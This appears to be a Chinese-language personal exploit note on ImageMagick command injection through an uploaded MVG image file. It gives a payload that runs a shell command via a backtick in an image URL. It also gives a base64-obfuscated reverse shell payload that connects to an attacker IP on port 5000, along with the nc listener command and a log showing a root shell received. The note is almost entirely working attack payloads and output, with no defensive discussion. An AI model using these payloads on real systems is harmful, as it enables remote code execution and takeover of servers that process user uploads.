上传一个文件,内容为:
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://baji.sweetysoft.com:3000/hi?x=`id > /tmp/lala`'
pop graphic-context
0x00 任意命令执行
一旦服务器端执行 convert 命令,就会触发上面的 https ...
注意:
1. 这里的触发https, 必须是这个协议,不能是http
2. 并不会发起精确的 request url 到 ...:3000/hi 这里,而是被转换成了一个奇怪的URL,例如
[2020-11-15 08:50:08] ERROR bad Request-Line `\x16\x03\x01\x02\x00\x01\x00\x01�\x03\x03���zV\x17/�f�H�N�WEc�\x10���ﴚ�{�vmi>\x00\x00��0�,�(�$�\x14�'. 59.110.225.79 - - [15/Nov/2020:08:50:08 CST] "\x16\x03\x01\x02\x00\x01\x00\x01�\x03\x03���zV\x17/�f�H�N�WEc�\x10���ﴚ�{�vmi>\x00\x00��0�,�(�$�\x14�" 400 335 - ->
3. 但是后面的 id > /tmp/lala 一定会执行,会在 /tmp/lala 目录下写入内容。
0x01 反向SHELL
上传一个文件,内容为:
push graphic-context viewbox 0 0 640 480 image copy 200,200 100,100 "|echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE3Mi4xNy4yMTEuMjQ3LzUwMDAgMD4mMQo= | base64 -d | bash" pop graphic-context
(上述内容,由 base64 转换而来。具体见 笔记 ( base 64 转换)
$ echo "/bin/bash -i >& /dev/tcp/172.17.211.247/5000 0>&1" | base64
L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE3Mi4xNy4yMTEuMjQ3LzUwMDAgMD4mMQo=
)
同时,在 attacker 服务器上,开启
nc -nvlp 5000
上传文件后, attcker 服务器就可以看到有shell了。
root@baji:~# nc -nvlp 5000 Listening on 0.0.0.0 5000 Connection received on 172.19.0.2 39828 root@8798d14e19fe:/var/www/html#